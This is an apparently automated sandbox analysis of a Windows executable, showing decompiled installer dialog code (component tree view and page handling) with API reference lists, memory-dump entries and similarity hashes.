				struct HWND__* _t191;
				signed int _t203;
				void* _t206;
				long _t212;
				signed int _t216;
				signed int _t227;
				void* _t230;
				void* _t231;
				int _t237;
				long _t242;
				long _t243;
				signed int _t244;
				signed int _t249;
				signed int _t251;
				signed char _t252;
				signed char _t260;
				void* _t265;
				void* _t267;
				signed char* _t285;
				signed char _t286;
				long _t291;
				void* _t298;
				signed int* _t299;
				int _t300;
				long _t301;
				int _t303;
				long _t304;
				int _t305;
				signed int _t306;
				signed int _t309;
				signed int _t316;
				signed char* _t324;
				int _t329;
				void* _t331;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_t191 = GetDlgItem(_a4, 0x408);
				_t298 =  *0x42a2a8;
				_t331 = SendMessageW;
				_v8 = _t191;
				_v36 = _t298;
				_v24 =  *0x42a274 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t307 = _a16;
					} else {
						_a12 = 0;
						_t307 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t307;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t307 + 4)) == 0x408) {
							if(( *0x42a27d & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t242 = _v16;
									if( *((intOrPtr*)(_t242 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, 0,  *(_t242 + 0x5c));
									}
									_t243 = _v16;
									if( *((intOrPtr*)(_t243 + 8)) == 0xfffffe39) {
										_t244 =  *(_t243 + 0x5c);
										if( *((intOrPtr*)(_t243 + 0xc)) != 2) {
											 *(_t244 * 0x818 + _t298 + 8) =  *(_t244 * 0x818 + _t298 + 8) & 0xffffffdf;
										} else {
											 *(_t244 * 0x818 + _t298 + 8) =  *(_t244 * 0x818 + _t298 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t307 = 0 | _a8 != 0x00000413;
								_t249 = E00404E4D(_v8, _a8 != 0x413);
								_v20 = _t249;
								if(_t249 >= 0) {
									_t100 = _t298 + 8; // 0x8
									_t307 = _t249 * 0x818 + _t100;
									_t251 =  *_t307;
									if((_t251 & 0x00000010) == 0) {
										if((_t251 & 0x00000040) == 0) {
											_t252 = _t251 ^ 0x00000001;
										} else {
											_t260 = _t251 ^ 0x00000080;
											if(_t260 >= 0) {
												_t252 = _t260 & 0x000000fe;
											} else {
												_t252 = _t260 | 0x00000001;
											}
										}
										 *_t307 = _t252;
										E0040117D(_v20);
										_a8 = 0x40f;
										_a12 = _v20 + 1;
										_a16 =  !( *0x42a27c) >> 0x00000008 & 0x00000001;
									}
								}
								goto L41;
							}
							_t307 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t230 =  *0x42372c;
								if(_t230 != 0) {
									ImageList_Destroy(_t230);
								}
								_t231 =  *0x423740;
								if(_t231 != 0) {
									GlobalFree(_t231);
								}
								 *0x42372c = 0;
								 *0x423740 = 0;
								 *0x42a2e0 = 0;
							}
							if(_a8 != 0x40f) {
								L90:
								if(_a8 == 0x420 && ( *0x42a27d & 0x00000001) != 0) {
									_t329 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t329);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t329);
								}
								goto L93;
							} else {
								E004011EF(_t307, 0, 0);
								_t203 = _a12;
								if(_t203 != 0) {
									if(_t203 != 0xffffffff) {
										_t203 = _t203 - 1;
									}
									_push(_t203);
									_push(8);
									E00404ECD();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t307, 0, 0);
									_v36 =  *0x423740;
									_t206 =  *0x42a2a8;
									_v64 = 0xf030;
									_v20 = 0;
									if( *0x42a2ac <= 0) {
										L86:
										if( *0x42a26c == 4) {
											InvalidateRect(_v8, 0, 1);
										}
										if( *((intOrPtr*)( *0x42923c + 0x10)) != 0) {
											E00404E08(0x3ff, 0xfffffffb, E00404E20(5));
										}
										goto L90;
									}
									_t299 = _t206 + 8;
									do {
										_t212 =  *((intOrPtr*)(_v36 + _v20 * 4));
										if(_t212 != 0) {
											_t309 =  *_t299;
											_v72 = _t212;
											_v76 = 8;
											if((_t309 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t299[4]);
												_t299[0] = _t299[0] & 0x000000fe;
											}
											if((_t309 & 0x00000040) == 0) {
												_t216 = (_t309 & 0x00000001) + 1;
												if((_t309 & 0x00000010) != 0) {
													_t216 = _t216 + 3;
												}
											} else {
												_t216 = 3;
											}
											_v68 = (_t216 << 0x0000000b | _t309 & 0x00000008) + (_t216 << 0x0000000b | _t309 & 0x00000008) | _t309 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t309 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageW(_v8, 0x113f, 0,  &_v76);
										}
										_v20 = _v20 + 1;
										_t299 =  &(_t299[0x206]);
									} while (_v20 <  *0x42a2ac);
									goto L86;
								} else {
									_t300 = E004012E2( *0x423740);
									E00401299(_t300);
									_t227 = 0;
									_t307 = 0;
									if(_t300 <= 0) {
										L74:
										SendMessageW(_v12, 0x14e, _t307, 0);
										_a16 = _t300;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v24 + _t227 * 4)) != 0) {
											_t307 = _t307 + 1;
										}
										_t227 = _t227 + 1;
									} while (_t227 < _t300);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L93;
						} else {
							_t237 = SendMessageW(_v12, 0x147, 0, 0);
							if(_t237 == 0xffffffff) {
								goto L93;
							}
							_t301 = SendMessageW(_v12, 0x150, _t237, 0);
							if(_t301 == 0xffffffff ||  *((intOrPtr*)(_v24 + _t301 * 4)) == 0) {
								_t301 = 0x20;
							}
							E00401299(_t301);
							SendMessageW(_a4, 0x420, 0, _t301);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					 *0x42a2e0 = _a4;
					_t303 = 2;
					_v32 = 0;
					_v20 = _t303;
					 *0x423740 = GlobalAlloc(0x40,  *0x42a2ac << 2);
					_t265 = LoadImageW( *0x42a260, 0x6e, 0, 0, 0, 0);
					 *0x423734 =  *0x423734 | 0xffffffff;
					_v16 = _t265;
					 *0x42373c = SetWindowLongW(_v8, 0xfffffffc, E00405518);
					_t267 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x42372c = _t267;
					ImageList_AddMasked(_t267, _v16, 0xff00ff);
					SendMessageW(_v8, 0x1109, _t303,  *0x42372c);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_v16);
					_t304 = 0;
					do {
						_t273 =  *((intOrPtr*)(_v24 + _t304 * 4));
						if( *((intOrPtr*)(_v24 + _t304 * 4)) != 0) {
							if(_t304 != 0x20) {
								_v20 = 0;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E00406579(_t304, 0, _t331, 0, _t273)), _t304);
						}
						_t304 = _t304 + 1;
					} while (_t304 < 0x21);
					_t305 = _a16;
					_push( *((intOrPtr*)(_t305 + 0x30 + _v20 * 4)));
					_push(0x15);
					E00404492(_a4);
					_push( *((intOrPtr*)(_t305 + 0x34 + _v20 * 4)));
					_push(0x16);
					E00404492(_a4);
					_t306 = 0;
					_v16 = 0;
					if( *0x42a2ac <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t324 = _v36 + 8;
						_v28 = _t324;
						do {
							_t285 =  &(_t324[0x10]);
							if( *_t285 != 0) {
								_v64 = _t285;
								_t286 =  *_t324;
								_v88 = _v16;
								_t316 = 0x20;
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t316;
								_v44 = _t306;
								_v72 = _t286 & _t316;
								if((_t286 & 0x00000002) == 0) {
									if((_t286 & 0x00000004) == 0) {
										 *( *0x423740 + _t306 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v88);
									} else {
										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
									}
								} else {
									_v80 = 0x4d;
									_v48 = 1;
									_t291 = SendMessageW(_v8, 0x1132, 0,  &_v88);
									_v32 = 1;
									 *( *0x423740 + _t306 * 4) = _t291;
									_v16 =  *( *0x423740 + _t306 * 4);
								}
							}
							_t306 = _t306 + 1;
							_t324 =  &(_v28[0x818]);
							_v28 = _t324;
						} while (_t306 <  *0x42a2ac);
						if(_v32 != 0) {
							L20:
							if(_v20 != 0) {
								E004044C7(_v8);
								_t298 = _v36;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E004044C7(_v12);
								L93:
								return E004044F9(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404f1d
0x00404f23
0x00404f25
0x00404f2b
0x00404f31
0x00404f47
0x00404f4a
0x00404f4d
0x00405180
0x00405187
0x0040519b
0x00405189
0x0040518b
0x0040518e
0x0040518f
0x00405196
0x00405196
0x004051a7
0x004051b5
0x004051b8
0x004051ce
0x00405246
0x00405249
0x0040524b
0x00405255
0x00405263
0x00405263
0x00405265
0x0040526f
0x00405275
0x00405278
0x00405293
0x0040527a
0x00405284
0x00405284
0x00405278
0x0040526f
0x00000000
0x00405249
0x004051d3
0x004051de
0x004051e3
0x004051ea
0x004051f1
0x004051f4
0x004051fc
0x004051fc
0x00405200
0x00405204
0x00405208
0x0040521b
0x0040520a
0x0040520a
0x00405211
0x00405217
0x00405213
0x00405213
0x00405213
0x00405211
0x00405221
0x00405223
0x0040522b
0x00405233
0x00405243
0x00405243
0x00405204
0x00000000
0x004051f4
0x004051d5
0x004051dc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405296
0x00405296
0x0040529d
0x0040530e
0x00405315
0x00405321
0x00405321
0x0040532a
0x0040532c
0x00405333
0x00405336
0x00405336
0x0040533c
0x00405343
0x00405346
0x00405346
0x0040534c
0x00405352
0x00405358
0x00405358
0x00405365
0x004054c5
0x004054cc
0x004054e9
0x004054ef
0x00405501
0x00405501
0x00000000
0x0040536b
0x0040536d
0x00405372
0x00405377
0x0040537c
0x0040537e
0x0040537e
0x0040537f
0x00405380
0x00405382
0x00405382
0x0040538a
0x004053cb
0x004053cd
0x004053dd
0x004053e0
0x004053e5
0x004053ec
0x004053ef
0x00405491
0x00405499
0x004054a1
0x004054a1
0x004054af
0x004054c0
0x004054c0
0x00000000
0x004054af
0x004053f5
0x004053f8
0x004053fe
0x00405403
0x00405405
0x00405407
0x0040540d
0x00405414
0x00405419
0x00405420
0x00405423
0x00405423
0x0040542a
0x00405436
0x0040543a
0x0040543c
0x0040543c
0x0040542c
0x0040542e
0x0040542e
0x0040545c
0x00405468
0x00405477
0x00405477
0x00405479
0x0040547c
0x00405485
0x00000000
0x0040538c
0x00405397
0x0040539a
0x0040539f
0x004053a1
0x004053a5
0x004053b5
0x004053bf
0x004053c1
0x004053c4
0x00000000
0x00000000
0x00000000
0x00000000
0x004053a7
0x004053a7
0x004053ad
0x004053af
0x004053af
0x004053b0
0x004053b1
0x00000000
0x004053a7
0x0040538a
0x00405365
0x004052a5
0x00000000
0x004052bb
0x004052c5
0x004052ca
0x00000000
0x00000000
0x004052dc
0x004052e1
0x004052ed
0x004052ed
0x004052ef
0x004052fe
0x00405300
0x00405304
0x00405307
0x00000000
0x00405307
0x004052a5
0x00404f53
0x00404f58
0x00404f62
0x00404f63
0x00404f6c
0x00404f7b
0x00404f86
0x00404f8c
0x00404f9a
0x00404faf
0x00404fb4
0x00404fbf
0x00404fc8
0x00404fdd
0x00404fee
0x00404ffb
0x00404ffb
0x00405000
0x00405006
0x00405008
0x0040500b
0x00405010
0x00405015
0x00405017
0x00405017
0x00405037
0x00405037
0x00405039
0x0040503a
0x0040503f
0x00405045
0x00405049
0x0040504e
0x00405056
0x0040505a
0x0040505f
0x00405064
0x0040506c
0x0040506f
0x0040513f
0x00405152
0x00000000
0x00405075
0x00405078
0x0040507b
0x0040507e
0x0040507e
0x00405084
0x0040508d
0x00405090
0x00405094
0x00405097
0x0040509a
0x004050a3
0x004050ac
0x004050af
0x004050b2
0x004050b5
0x004050f3
0x0040511e
0x004050f5
0x00405104
0x00405104
0x004050b7
0x004050ba
0x004050c8
0x004050d2
0x004050da
0x004050e1
0x004050ec
0x004050ec
0x004050b5
0x00405124
0x00405125
0x00405131
0x00405131
0x0040513d
0x00405158
0x0040515b
0x00405178
0x0040517d
0x00000000
0x0040515d
0x00405162
0x0040516b
0x00405503
0x00405515
0x00405515
0x0040515b
0x00000000
0x0040513d
0x0040506f

APIs

GetDlgItem.USER32 ref: 00404F16
GetDlgItem.USER32 ref: 00404F23
GlobalAlloc.KERNEL32(00000040,?), ref: 00404F6F
LoadImageW.USER32 ref: 00404F86
SetWindowLongW.USER32 ref: 00404FA0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FB4
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404FC8
SendMessageW.USER32(?,00001109,00000002), ref: 00404FDD
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404FE9
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404FFB
DeleteObject.GDI32(00000110), ref: 00405000
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 0040502B
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405037
SendMessageW.USER32(?,00001132,00000000,?), ref: 004050D2
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00405102

Part of subcall function 004044C7: SendMessageW.USER32(00000028,?,00000001,004042F2), ref: 004044D5

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405116
GetWindowLongW.USER32(?,000000F0), ref: 00405144
SetWindowLongW.USER32 ref: 00405152
ShowWindow.USER32(?,00000005), ref: 00405162
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405263
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052C5
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004052DA
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004052FE
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405321
ImageList_Destroy.COMCTL32(?), ref: 00405336
GlobalFree.KERNEL32 ref: 00405346
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053BF
SendMessageW.USER32(?,00001102,?,?), ref: 00405468
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405477
InvalidateRect.USER32(?,00000000,00000001), ref: 004054A1
ShowWindow.USER32(?,00000000), ref: 004054EF
GetDlgItem.USER32 ref: 004054FA
ShowWindow.USER32(00000000), ref: 00405501

Strings

N, xrefs: 0040519E
, xrefs: 004054D9
M, xrefs: 004050BA

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 30c87aeda25f360d81773f0e2c70f123d365d9cc6a167c9b0a22042fa7f78e66
Instruction ID: 51cb895bf96748e94aa34dbd086816f234b0803d1cad36f3447be88a3ed44bf2
Opcode Fuzzy Hash: 30c87aeda25f360d81773f0e2c70f123d365d9cc6a167c9b0a22042fa7f78e66
Instruction Fuzzy Hash: 0C126970900609EFDF209FA5DC45AAE7BB5FB44314F10817AEA10BA2E1D7798A52CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00403FB9, Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00403FB9(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t37;
				signed int _t39;
				signed int _t41;
				struct HWND__* _t51;
				signed int _t70;
				struct HWND__* _t76;
				signed int _t89;
				struct HWND__* _t94;
				signed int _t102;
				int _t106;
				signed int _t118;
				signed int _t119;
				int _t120;
				signed int _t125;
				struct HWND__* _t128;
				struct HWND__* _t129;
				int _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;

				_t118 = _a8;
				if(_t118 == 0x110 || _t118 == 0x408) {
					_t37 = _a12;
					_t128 = _a4;
					__eflags = _t118 - 0x110;
					 *0x423730 = _t37;
					if(_t118 == 0x110) {
						 *0x42a268 = _t128;
						 *0x423744 = GetDlgItem(_t128, 1);
						_t94 = GetDlgItem(_t128, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x421710 = _t94;
						E00404492(_t128);
						SetClassLongW(_t128, 0xfffffff2,  *0x429248);
						 *0x42922c = E0040140B(4);
						_t37 = 1;
						__eflags = 1;
						 *0x423730 = 1;
					}
					_t125 =  *0x40a39c; // 0xffffffff
					_t136 = 0;
					_t133 = (_t125 << 6) +  *0x42a2a0;
					__eflags = _t125;
					if(_t125 < 0) {
						L34:
						E004044DE(0x40b);
						while(1) {
							_t39 =  *0x423730;
							 *0x40a39c =  *0x40a39c + _t39;
							_t133 = _t133 + (_t39 << 6);
							_t41 =  *0x40a39c; // 0xffffffff
							__eflags = _t41 -  *0x42a2a4;
							if(_t41 ==  *0x42a2a4) {
								E0040140B(1);
							}
							__eflags =  *0x42922c - _t136;
							if( *0x42922c != _t136) {
								break;
							}
							__eflags =  *0x40a39c -  *0x42a2a4; // 0xffffffff
							if(__eflags >= 0) {
								break;
							}
							_t119 =  *(_t133 + 0x14);
							E00406579(_t119, _t128, _t133, 0x43a000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E00404492(_t128);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E00404492(_t128);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E00404492(_t128);
							_t51 = GetDlgItem(_t128, 3);
							__eflags =  *0x42a30c - _t136;
							_v32 = _t51;
							if( *0x42a30c != _t136) {
								_t119 = _t119 & 0x0000fefd | 0x00000004;
								__eflags = _t119;
							}
							ShowWindow(_t51, _t119 & 0x00000008);
							EnableWindow( *(_t137 + 0x30), _t119 & 0x00000100);
							E004044B4(_t119 & 0x00000002);
							_t120 = _t119 & 0x00000004;
							EnableWindow( *0x421710, _t120);
							__eflags = _t120 - _t136;
							if(_t120 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
							EnableMenuItem(GetSystemMenu(_t128, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x38), 0xf4, _t136, 1);
							__eflags =  *0x42a30c - _t136;
							if( *0x42a30c == _t136) {
								_push( *0x423744);
							} else {
								SendMessageW(_t128, 0x401, 2, _t136);
								_push( *0x421710);
							}
							E004044C7();
							E0040653C(0x423748, E00403F9A());
							E00406579(0x423748, _t128, _t133,  &(0x423748[lstrlenW(0x423748)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t128, 0x423748);
							_t70 = E00401389( *((intOrPtr*)(_t133 + 8)), _t136);
							__eflags = _t70;
							if(_t70 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x429238);
									 *0x422720 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L58;
									}
									_t76 = CreateDialogParamW( *0x42a260,  *_t133 +  *0x429240 & 0x0000ffff, _t128,  *(0x40a3a0 +  *(_t133 + 4) * 4), _t133);
									__eflags = _t76 - _t136;
									 *0x429238 = _t76;
									if(_t76 == _t136) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E00404492(_t76);
									GetWindowRect(GetDlgItem(_t128, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t128, _t137 + 0x10);
									SetWindowPos( *0x429238, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									E00401389( *((intOrPtr*)(_t133 + 0xc)), _t136);
									__eflags =  *0x42922c - _t136;
									if( *0x42922c != _t136) {
										goto L61;
									}
									ShowWindow( *0x429238, 8);
									E004044DE(0x405);
									goto L58;
								}
								__eflags =  *0x42a30c - _t136;
								if( *0x42a30c != _t136) {
									goto L61;
								}
								__eflags =  *0x42a300 - _t136;
								if( *0x42a300 != _t136) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x429238);
						 *0x42a268 = _t136;
						EndDialog(_t128,  *0x421f18);
						goto L58;
					} else {
						__eflags = _t37 - 1;
						if(_t37 != 1) {
							L33:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L61;
							}
							goto L34;
						}
						_t89 = E00401389( *((intOrPtr*)(_t133 + 0x10)), 0);
						__eflags = _t89;
						if(_t89 == 0) {
							goto L33;
						}
						SendMessageW( *0x429238, 0x40f, 0, 1);
						__eflags =  *0x42922c;
						return 0 |  *0x42922c == 0x00000000;
					}
				} else {
					_t128 = _a4;
					_t136 = 0;
					if(_t118 == 0x47) {
						SetWindowPos( *0x423728, _t128, 0, 0, 0, 0, 0x13);
					}
					if(_t118 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x423728,  ~(_a12 - 1) & _t118);
					}
					if(_t118 != 0x40d) {
						__eflags = _t118 - 0x11;
						if(_t118 != 0x11) {
							__eflags = _t118 - 0x111;
							if(_t118 != 0x111) {
								L26:
								return E004044F9(_t118, _a12, _a16);
							}
							_t135 = _a12 & 0x0000ffff;
							_t129 = GetDlgItem(_t128, _t135);
							__eflags = _t129 - _t136;
							if(_t129 == _t136) {
								L13:
								__eflags = _t135 - 1;
								if(_t135 != 1) {
									__eflags = _t135 - 3;
									if(_t135 != 3) {
										_t130 = 2;
										__eflags = _t135 - _t130;
										if(_t135 != _t130) {
											L25:
											SendMessageW( *0x429238, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x42a30c - _t136;
										if( *0x42a30c == _t136) {
											_t102 = E0040140B(3);
											__eflags = _t102;
											if(_t102 != 0) {
												goto L26;
											}
											 *0x421f18 = 1;
											L21:
											_push(0x78);
											L22:
											E0040446B();
											goto L26;
										}
										E0040140B(_t130);
										 *0x421f18 = _t130;
										goto L21;
									}
									__eflags =  *0x40a39c - _t136; // 0xffffffff
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t135);
								goto L22;
							}
							SendMessageW(_t129, 0xf3, _t136, _t136);
							_t106 = IsWindowEnabled(_t129);
							__eflags = _t106;
							if(_t106 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongW(_t128, _t136, _t136);
						return 1;
					} else {
						DestroyWindow( *0x429238);
						 *0x429238 = _a12;
						L58:
						if( *0x425748 == _t136 &&  *0x429238 != _t136) {
							ShowWindow(_t128, 0xa);
							 *0x425748 = 1;
						}
						L61:
						return 0;
					}
				}
			}

0x00403fc2
0x00403fcb
0x0040410c
0x00404110
0x00404114
0x00404116
0x0040411b
0x00404126
0x00404131
0x00404136
0x00404138
0x0040413a
0x0040413d
0x00404142
0x00404150
0x0040415d
0x00404164
0x00404164
0x00404165
0x00404165
0x0040416a
0x00404170
0x00404177
0x0040417d
0x0040417f
0x004041bf
0x004041c4
0x004041c9
0x004041c9
0x004041ce
0x004041d7
0x004041d9
0x004041de
0x004041e4
0x004041e8
0x004041e8
0x004041ed
0x004041f3
0x00000000
0x00000000
0x004041fe
0x00404204
0x00000000
0x00000000
0x0040420d
0x00404215
0x0040421a
0x0040421d
0x00404223
0x00404228
0x0040422b
0x00404231
0x00404236
0x00404239
0x0040423f
0x00404247
0x0040424d
0x00404253
0x00404257
0x0040425e
0x0040425e
0x0040425e
0x00404268
0x0040427a
0x00404286
0x0040428b
0x00404295
0x0040429b
0x0040429d
0x004042a2
0x0040429f
0x0040429f
0x0040429f
0x004042b2
0x004042ca
0x004042cc
0x004042d2
0x004042e7
0x004042d4
0x004042dd
0x004042df
0x004042df
0x004042ed
0x004042fe
0x00404314
0x0040431b
0x00404325
0x0040432a
0x0040432c
0x00000000
0x00404332
0x00404332
0x00404334
0x00000000
0x00000000
0x0040433a
0x0040433e
0x00404363
0x00404369
0x0040436f
0x00404371
0x00000000
0x00000000
0x00404397
0x0040439d
0x0040439f
0x004043a4
0x00000000
0x00000000
0x004043aa
0x004043ad
0x004043b0
0x004043c7
0x004043d3
0x004043ec
0x004043f6
0x004043fb
0x00404401
0x00000000
0x00000000
0x0040440b
0x00404416
0x00000000
0x00404416
0x00404340
0x00404346
0x00000000
0x00000000
0x0040434c
0x00404352
0x00000000
0x00000000
0x00000000
0x00404358
0x0040432c
0x00404423
0x0040442f
0x00404436
0x00000000
0x00404181
0x00404181
0x00404184
0x004041b7
0x004041b7
0x004041b9
0x00000000
0x00000000
0x00000000
0x004041b9
0x0040418a
0x0040418f
0x00404191
0x00000000
0x00000000
0x004041a1
0x004041a9
0x00000000
0x004041af
0x00403fdd
0x00403fdd
0x00403fe1
0x00403fe6
0x00403ff5
0x00403ff5
0x00403ffe
0x00404007
0x00404012
0x00404012
0x0040401e
0x0040403a
0x0040403d
0x00404050
0x00404056
0x004040f9
0x00000000
0x00404102
0x0040405c
0x00404069
0x0040406b
0x0040406d
0x0040408c
0x0040408c
0x0040408f
0x00404094
0x00404097
0x004040a7
0x004040a8
0x004040aa
0x004040e0
0x004040f3
0x00000000
0x004040f3
0x004040ac
0x004040b2
0x004040cb
0x004040d0
0x004040d2
0x00000000
0x00000000
0x004040d4
0x004040c0
0x004040c0
0x004040c2
0x004040c2
0x00000000
0x004040c2
0x004040b5
0x004040ba
0x00000000
0x004040ba
0x00404099
0x0040409f
0x00000000
0x00000000
0x004040a1
0x00000000
0x004040a1
0x00404091
0x00000000
0x00404091
0x00404077
0x0040407e
0x00404084
0x00404086
0x00000000
0x00000000
0x00000000
0x00404086
0x00404042
0x00000000
0x00404020
0x00404026
0x00404030
0x0040443c
0x00404442
0x0040444f
0x00404455
0x00404455
0x0040445f
0x00000000
0x0040445f
0x0040401e

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403FF5
ShowWindow.USER32(?), ref: 00404012
DestroyWindow.USER32 ref: 00404026
SetWindowLongW.USER32 ref: 00404042
GetDlgItem.USER32 ref: 00404063
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00404077
IsWindowEnabled.USER32(00000000), ref: 0040407E
GetDlgItem.USER32 ref: 0040412C
GetDlgItem.USER32 ref: 00404136
SetClassLongW.USER32(?,000000F2,?), ref: 00404150
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041A1
GetDlgItem.USER32 ref: 00404247
ShowWindow.USER32(00000000,?), ref: 00404268
EnableWindow.USER32(?,?), ref: 0040427A
EnableWindow.USER32(?,?), ref: 00404295
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042AB
EnableMenuItem.USER32 ref: 004042B2
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004042CA
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004042DD
lstrlenW.KERNEL32(00423748,?,00423748,00000000), ref: 00404307
SetWindowTextW.USER32(?,00423748), ref: 0040431B
ShowWindow.USER32(?,0000000A), ref: 0040444F

Strings

H7B, xrefs: 004042F7

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: H7B
API String ID: 184305955-2300413410
Opcode ID: ad2877bd5c4ea7cc256e3088b2b3c42cb38b7d734cc530d92285f8f03c2605ef
